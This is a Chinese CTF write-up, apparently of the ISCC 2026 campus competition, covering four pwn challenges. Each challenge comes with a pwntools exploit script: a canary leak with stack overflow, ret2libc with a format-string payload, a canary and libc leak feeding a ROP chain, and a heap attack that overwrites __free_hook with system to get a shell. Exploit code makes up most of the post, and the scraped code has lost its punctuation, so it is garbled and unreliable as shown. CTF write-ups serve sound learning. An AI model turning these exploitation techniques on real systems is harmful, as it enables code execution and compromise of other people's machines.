当前位置: 首页 > article >正文

ISCC-pwn(2026)

复现一下文章目录校赛练武pwn1pwn2pwn3pwn4总结校赛练武pwn132位泄露canary后栈溢出到后门即可。frompwnimport*context.terminal[tmux,splitw,-h]context.log_leveldebugpprocess(./attachment-5)#premote(39.96.201.215,10004)rulambdax:p.recvuntil(x)sllambdax:p.sendline(x)slambdax:p.send(x)slalambdax:p.sendlineafter(x)n2blambdax:str(x).encode()snlambdax:sl(n2b(x))defbug():gdb.attach(p);pause()s(ba*0x65)ru(ba*0x64)canaryu32(p.recv(4))-ord(a)pyba*0x64p32(canary)ba*0xcp32(0x80491CF)s(py)p.interactive()pwn2感觉是远程环境问题远程需要爆破libc_base然后cat flag拿到shell本地就正常ret2libc。frompwnimport*#premote(39.96.193.120,10000)eELF(./attachment-9)pprocess(./attachment-9)rulambdax:p.recvuntil(x)sllambdax:p.sendline(x)slambdax:p.send(x)slalambdax:p.sendlineafter(x)n2blambdax:str(x).encode()snlambdax:sl(n2b(x))defbug():gdb.attach(p);pause()libcELF(./libc.so.6)ru(bHope you have a good time here.\n)#s(bDDDDb.%x*15)pyfmtstr_payload(4,{0x804C030:5})s(py)py1ba*0x94p32(e.plt.puts)p32(0x080490B0)p32(e.got.puts)s(py1)ru(bInput:\n)libc_baseu64(p.recv(4).ljust(8,b\x00))-libc.sym.putsprint(hex(libc_base))s(b)s(ba*0x94flat(libc_baselibc.sym.system,0,libc_basenext(libc.search(b/bin/sh))))p.interactive()pwn3格式化字符串泄露canary和libc打ret2libc。frompwnimport*context.terminal[tmux,splitw,-h]#context.log_level debugcontext.archamd64file./pwn#pprocess(file)premote(39.96.193.120,33334)eELF(file)libcELF(./libc6_2.31-0ubuntu9.16_amd64.so)rulambdax:p.recvuntil(x)sllambdax:p.sendline(x)slambdax:p.send(x)slalambdax:p.sendlineafter(x)n2blambdax:str(x).encode()snlambdax:sl(n2b(x))defbug():gdb.attach(p);pause()defexp():s(f%10$s%{0x276}$p.encode().ljust(0x10,b\x00)p64(e.got.read))#bug()ru(bWelcome, )libc_baseu64(p.recv(6).ljust(8,b\x00))-libc.sym.readprint(hex(libc_base))ru(b0x)canaryint(p.recv(16),16)systemlibc.sym[system]libc_base shnext(libc.search(b/bin/sh))libc_base off0x00000000004014a3rdioff retoff1sn(0xf00)pyba*0x108p64(canary)ba*8flat(rdi,sh,ret,system)s(py)exp()p.interactive()pwn4代码比较长耐心re找到漏洞点就比较ez了。保护全开。glibc2.31没开沙箱大概率是覆盖free_hook为system了。程序分两部分一个teacher一个student开始代码审计。增加学生有个数据结构两个chunk分别为manage_chunk和qustion_chunk。可以edit qustion的number。这里的fd!0向外读student_score范围为0~89。add和edit comment_chunk且大小可以一定的控制这里也是个数据结构。free manage_chunkqustion_chunk和comment_chunk。无uaf漏洞。转变身份。再看student这边。else中第一个if可以知道manage_chunk的addr即可以泄露heap_base第二个if可以泄露comment_chunk中的内容即可以泄露libc_base。改lazy的last_byte。第一个if中add_mode和edit_mode第二个if可以改mode_chunk的last_byte结合第一个if还有edit_lazy可以做到任意地址写入。choose student。先看看数据结构吧思路很清晰了我们可以结合任意地址写入改mode_chunk为question_chunk覆盖comment为free_hook然后edit_comment为system即可shell。那么我们就需要获得libc_base我们先add_comment的大小大于0x80由于最多只能分配7个manage_chunk和question_chunk那么我们先改tcache struct中chunk的size位改大才能一次性free0x80的chunk到unsorted bin。那么我们就需要知道heap想知道heap_base就需要score90那么我们先用任意地址写改mode为question在score处写入90即可然后就可以泄露heap了之后再用任意地址写改mode为question覆盖comment指针为heap_base0x1e再往里面写入一个很大的数即可。然后free掉comment_chunk就可以进入unsorted bin了。后面老方法改mode为question改comment指针为free掉的comment指针就可以泄露libc了。给一个tcache chunk[size]位置的计算公式(malloc(size-0x10))counts[idx] 按 2 字节处理(size - 0x20) / 0x10 n 0x10 n* 2 偏移frompwnimport*context.terminal[tmux,splitw,-h]context.log_leveldebugcontext.archamd64file./pwnpprocess(file)#premote(39.96.193.120,10008)eELF(file)libcELF(./libc-2.31.so)rulambdax:p.recvuntil(x)sllambdax:p.sendline(x)slambdax:p.send(x)slalambdax,y:p.sendlineafter(x,y)n2blambdax:str(x).encode()snlambdax:sl(n2b(x))defbug():gdb.attach(p);pause()defto_cmd(idx):ru(brole: 0.teacher/1.student: )sn(idx)defto_tea():to_cmd(0)defto_stu():to_cmd(1)defcmd(idx):ru(bchoice )sn(idx)defadd_stu():cmd(1)ru(benter the number of questions: )sn(9)defadd_comment(idx,size,content):cmd(3)ru(bwhich one? )sn(idx)ru(bplease input the size of comment: )sn(size)ru(benter your comment:)s(content)defedit_comment(idx,content):cmd(3)ru(bwhich one? )sn(idx)ru(benter your comment:)s(content)deffree(idx):cmd(4)ru(bwhich student id to choose?)sn(idx)defchange():cmd(5)defadd_mode(mode):cmd(4)ru(benter your mode!)s(mode)defedit_mode(mode):cmd(4)sla(benter your pray score: 0 to 100\n,str(mode).encode())defshow_manage():cmd(2)defshow_comment():cmd(2)defchoose_stu(idx):cmd(6)ru(binput your id: )sn(idx)defedit_addr(addr_last_byte,content):choose_stu(0)cmd(3)edit_mode(addr_last_byte)cmd(3)add_mode(content)#先分配7个manage_chunkto_tea()foriinrange(7):add_stu()change();to_stu()#bug()foriin(0,1,2):choose_stu(i)add_mode(ba)#bug()#leak_heapedit_addr(0x10,p32(9)p32(90))choose_stu(4)show_manage()ru(b0x)heapint(p.recvuntil(b\n,dropTrue),16)-0x3e0print(hex(heap))s(n2b(heap))#leak_libcchange();to_tea()add_comment(6,0x80,ba)add_comment(0,0x10,ba)change();to_stu()edit_addr(0x10,p32(9)p32(1)p64(heap0x1e)p32(2))change();to_tea()edit_comment(4,p16(0x100))free(6)change();to_stu()edit_addr(0x60,p32(9)p32(1)p64(heap0x560)p32(8))choose_stu(5)show_comment()ru(bhere is the review:\n)libc_baseu64(p.recv(6).ljust(8,b\x00))-libc.sym.__malloc_hook-0x10-96print(hex(libc_base))#bug()#改free_hook为systemfree_hooklibc_baselibc.sym.__free_hook systemlibc_baselibc.sym.system edit_addr(0x10,p32(9)p32(1)p64(free_hook-8)p32(16))change();to_tea()edit_comment(4,b/bin/sh\x00p64(system))free(4)p.interactive()总结比赛水的不想评价只评价题目。校赛练武题第一天上的两个pwn题个人觉得栈题过于简单就是一个签到题水平到了堆题代码审计比较吃力题目比较有意思不算特别难。但还是建议提高栈题难度降点堆题代码审计量吧。第二天的两个pwn题全是栈题第一题正常ret2libc应该就可以我滴乖乖远程环境有问题ret后链会炸那没招了爆破libc_base 听了就666第二题附件和远程环境对不上远程环境还炸了6666修好后1分钟1000解666会盲打的人挺多的啊不愧是iscc吓哭了题目还是可以的建议换到第一天的pwn题。

相关文章:

ISCC-pwn(2026)

复现一下 文章目录校赛练武pwn1pwn2pwn3pwn4总结校赛练武 pwn1 32位泄露canary后,栈溢出到后门即可。 from pwn import * context.terminal ["tmux","splitw","-h"] context.log_level debugpprocess(./attachment-5) #premote(3…...

TVA与CNN的历史性对决(18)

重磅预告:本专栏将独家连载新书《AI视觉技术:从入门到进阶》精华内容。本书是《AI视觉技术:从进阶到专家》的权威前导篇,特邀美国 TypeOne 公司首席科学家、斯坦福大学博士 Bohan 担任技术顾问。Bohan先生师从美国三院院士、“AI教…...

agentsrc-py:为AI编程助手注入精准源代码上下文,消除代码幻觉

1. 项目概述:为AI编程助手注入“源代码级”的上下文如果你和我一样,深度依赖像 Cursor、Claude Code 这类 AI 编程助手来提升开发效率,那你一定也踩过同样的坑:当你让助手帮你写一个基于 Pydantic 的数据验证,或者调用…...

事件驱动架构中的状态机模式:ralph-loop实现异步工作流管理

1. 项目概述:一个“自循环”的Ralph最近在折腾数据管道和API集成时,我遇到了一个挺有意思的项目:Endogen/ralph-loop。乍一看名字,你可能会有点懵,ralph?这不是个名字吗?怎么还“loop”上了&…...

System V 进程间通信:共享内存、消息队列与信号量

文章目录1、共享内存简介与原理2、共享内存API接口2.1、shmget(创建/获取)2.2、shmat(映射)和shmdt(解除挂接)2.3、shmctl(控制)3、共享内存应用4、消息队列(了解&#x…...

5个步骤彻底解决MelonLoader加载问题:从安装到调试的完整指南

5个步骤彻底解决MelonLoader加载问题:从安装到调试的完整指南 【免费下载链接】MelonLoader The Worlds First Universal Mod Loader for Unity Games compatible with both Il2Cpp and Mono 项目地址: https://gitcode.com/gh_mirrors/me/MelonLoader 你是否…...

终极指南:5分钟搭建免费网盘直链解析服务,告别限速烦恼

终极指南:5分钟搭建免费网盘直链解析服务,告别限速烦恼 【免费下载链接】netdisk-fast-download 聚合多种主流网盘的直链解析下载服务, 一键解析下载,已支持夸克网盘/uc网盘/蓝奏云/蓝奏优享/小飞机盘/123云盘等. 支持文件夹分享解析. 体验地…...

计算机毕业设计 | SpringBoot+vue编程训练系统设计与实现 在线考试系统(附源码+论文)

1,绪论 1.1 研究背景 随着计算机技术的发展以及计算机网络的逐渐普及,互联网成为人们查找信息的重要场所,二十一世纪是信息的时代,所以信息的管理显得特别重要。因此,使用计算机来管理编程训练系统的相关信息成为必然…...

割草机器人行业市场分析报告【5】- 政策、标准与合规环境

第5章:政策、标准与合规环境 5.1 各国环保政策、燃油设备禁令时间表 环保政策与燃油禁令是驱动割草机器人需求的结构性力量,其影响力正在加速显现。...

如何快速配置FF14智能钓鱼计时器:渔人的直感完全指南

如何快速配置FF14智能钓鱼计时器:渔人的直感完全指南 【免费下载链接】Fishers-Intuition 渔人的直感,最终幻想14钓鱼计时器 项目地址: https://gitcode.com/gh_mirrors/fi/Fishers-Intuition 想要在《最终幻想14》中成为钓鱼大师吗?渔…...

安全认证与访问控制

文章目录One Time Password一次性密码平台认证Basic Authentication 基本认证Digest Auth 摘要认证NTLM认证协议Kerberos 网络身份验证协议Token Authentication 令牌认证OAuth Authentication 第三方授权登录API Key AuthenticationSession-Cookie 会话认证ip白名单/白名单认证…...

如何通过SQL改写避免走全表扫描_添加过滤条件与强制索引提示

索引不会自动生效,需WHERE匹配最左前缀且无函数/类型转换;JOIN驱动表选择、OR/IS NULL处理、数据分布变化均影响索引使用,优化需综合评估数据分布、查询频率与写入压力。WHERE 条件没写对,索引根本不会用MySQL 和 PostgreSQL 都不…...

多语言下拉选择器的统一状态管理与 sessionStorage 持久化实践

本文详解如何通过 jQuery 统一控制多个语言切换下拉框&#xff08;<select>&#xff09;的状态同步、初始渲染与持久化&#xff0c;避免因事件绑定混乱或 sessionStorage 未初始化导致的显示错乱问题。 本文详解如何通过 jquery 统一控制多个语言切换下拉框&#xf…...

操作系统 | 处理机调度全解析

&#x1f355; 操作系统的“外卖派单员”&#xff1a;CPU 调度与死锁全攻略 &#x1f69a;&#x1f4a8;大家好&#xff01;&#xff01;&#xff01;☕️想象一下&#xff0c;你是一个拥有无限披萨&#xff08;CPU时间&#xff09;的披萨店老板&#xff0c;而你的店里只有一个…...

HarmonyOS应用开发全流程深度解析:从入门到精通的20000字指南

第一章 鸿蒙生态架构与开发理念1.1 鸿蒙操作系统双版本体系 HarmonyOS与OpenHarmony构成华为"18N"全场景战略的技术底座。商业版HarmonyOS由华为维护&#xff0c;集成消费级设备专有功能&#xff1b;开源版OpenHarmony由开放原子基金会管理&#xff0c;适配工业、电网…...

不只是骷髅海:从《亡灵》设定看游戏设计中“死亡”主题的5种高级玩法与平衡性设计

超越骷髅海&#xff1a;游戏设计中死亡主题的五大高阶玩法与平衡艺术 当《魔兽争霸3》中死亡骑士高举霜之哀伤召唤食尸鬼大军时&#xff0c;玩家第一次体验到亡灵军团"越打越多"的独特快感。但二十年后的今天&#xff0c;单纯的数量压制早已无法满足硬核玩家对策略深…...

达梦数据库修改参数方法

一般用sp_set_para_value()修改新版本达梦支持alter system修改&#xff0c;很类似oracle的命令具体语法树尝试一下 19:42:34 SYSDBALOCALHOST:5236> alter system set dmsql_et_cnt50000 spfile; DMSQL 过程已成功完成 已用时间: 11.967(毫秒). 执行号:13217. 19:42:48 SY…...

如何用3步快速掌握ChanlunX缠论自动化分析终极方法

如何用3步快速掌握ChanlunX缠论自动化分析终极方法 【免费下载链接】ChanlunX 缠中说禅炒股缠论可视化插件 项目地址: https://gitcode.com/gh_mirrors/ch/ChanlunX 你是否在股票技术分析中感到困惑&#xff1f;面对复杂的缠论理论&#xff0c;手动绘制笔、段、中枢结构…...

3大架构维度解析开源直播聚合解决方案:Dart跨平台技术深度实践

3大架构维度解析开源直播聚合解决方案&#xff1a;Dart跨平台技术深度实践 【免费下载链接】dart_simple_live 简简单单的看直播 项目地址: https://gitcode.com/GitHub_Trending/da/dart_simple_live 当技术决策者面对多平台直播整合的复杂挑战时&#xff0c;最核心的痛…...

Windows 10能运行安卓应用吗?一个开源项目带来的惊喜答案

Windows 10能运行安卓应用吗&#xff1f;一个开源项目带来的惊喜答案 【免费下载链接】WSA-Windows-10 This is a backport of Windows Subsystem for Android to Windows 10. 项目地址: https://gitcode.com/gh_mirrors/ws/WSA-Windows-10 还在为Windows 10无法运行安…...

从Fastjson到Jackson:Java项目里JSON库怎么选?一份避坑与迁移指南

从Fastjson到Jackson&#xff1a;Java项目里JSON库的深度选型与迁移实战 在微服务架构盛行的今天&#xff0c;JSON作为数据交换的事实标准&#xff0c;其处理库的选择直接影响着系统性能、安全性和可维护性。当团队面临技术栈升级或重构时&#xff0c;如何在Fastjson、Jackson和…...

ShawzinBot深度解析:3个技巧让Warframe音乐演奏从新手变大师

ShawzinBot深度解析&#xff1a;3个技巧让Warframe音乐演奏从新手变大师 【免费下载链接】ShawzinBot Convert a MIDI input to a series of key presses for the Shawzin 项目地址: https://gitcode.com/gh_mirrors/sh/ShawzinBot 你是否曾经想在Warframe中演奏自己喜欢…...

StreamingVLM:实时视频流理解框架的技术解析与应用

1. 项目概述&#xff1a;当视频流遇上实时理解去年在给某智能安防系统做技术咨询时&#xff0c;客户指着监控墙上不断刷新的画面问我&#xff1a;"这些摄像头7x24小时工作&#xff0c;但真正需要人工介入的异常事件可能一天就两三起&#xff0c;有没有可能让AI像人一样持续…...

终极解决方案:高效实现Android手机USB网络共享到Mac的完整指南

终极解决方案&#xff1a;高效实现Android手机USB网络共享到Mac的完整指南 【免费下载链接】HoRNDIS Android USB tethering driver for Mac OS X 项目地址: https://gitcode.com/gh_mirrors/ho/HoRNDIS 你是否曾经在Mac上尝试连接Android手机的网络共享&#xff0c;却遇…...

告别VMware!在Win11上用WSL2秒开openEuler,还能无缝用VSCode开发

告别VMware&#xff01;在Win11上用WSL2秒开openEuler&#xff0c;还能无缝用VSCode开发 如果你是一名习惯在Windows环境下开发的程序员&#xff0c;同时又需要频繁使用Linux环境&#xff0c;那么传统虚拟机&#xff08;如VMware或VirtualBox&#xff09;可能已经让你感到疲惫不…...

TypingMind静态自托管部署指南:构建私有AI聊天前端工作台

1. 项目概述&#xff1a;为什么我们需要一个更好的AI聊天前端&#xff1f;如果你和我一样&#xff0c;已经深度使用过ChatGPT、Claude、Gemini这些主流AI模型&#xff0c;你可能会发现一个痛点&#xff1a;官方网页界面虽然能用&#xff0c;但总感觉差点意思。功能分散、对话管…...

Emacs AI编程接口:统一多模型后端,实现工程化开发工作流

1. 项目概述&#xff1a;一个为Emacs设计的统一AI编程接口 如果你和我一样&#xff0c;是个在Emacs里泡了多年的老用户&#xff0c;同时又对各种新兴的AI编程助手&#xff08;比如Claude Code、GitHub Copilot CLI、OpenAI Codex&#xff09;感到好奇&#xff0c;那你一定也经…...

天守:AI智能体团队可视化指挥中心的设计、部署与实战

1. 项目概述&#xff1a;天守——为AI智能体团队打造的沉浸式指挥中心如果你正在运行一个基于OpenClaw的AI智能体团队&#xff0c;那么你很可能已经体会过那种“黑盒”般的焦虑&#xff1a;我的智能体们现在在干什么&#xff1f;它们之间的协作顺畅吗&#xff1f;实验的结果趋势…...

Hugo博客自动化发布:从脚本到CI/CD的完整实践指南

1. 项目概述&#xff1a;一个为Hugo博客量身打造的自动化发布引擎如果你和我一样&#xff0c;是个喜欢用Hugo写博客&#xff0c;但又对每次写完文章后那一系列繁琐的发布流程感到头疼的人&#xff0c;那么“tanteng/hugo-blog-publisher”这个项目&#xff0c;很可能就是你一直…...

AISMM不是培训,是能力操作系统:奇点大会首发《AISMM实施成熟度评估矩阵》(含6维度22项量化指标)

更多请点击&#xff1a; https://intelliparadigm.com 第一章&#xff1a;AISMM不是培训&#xff0c;是能力操作系统 AISMM&#xff08;AI-Savvy Maturity Model&#xff09;并非传统意义的技能速成课程或知识灌输式培训&#xff0c;而是一套可部署、可度量、可迭代的工程化能…...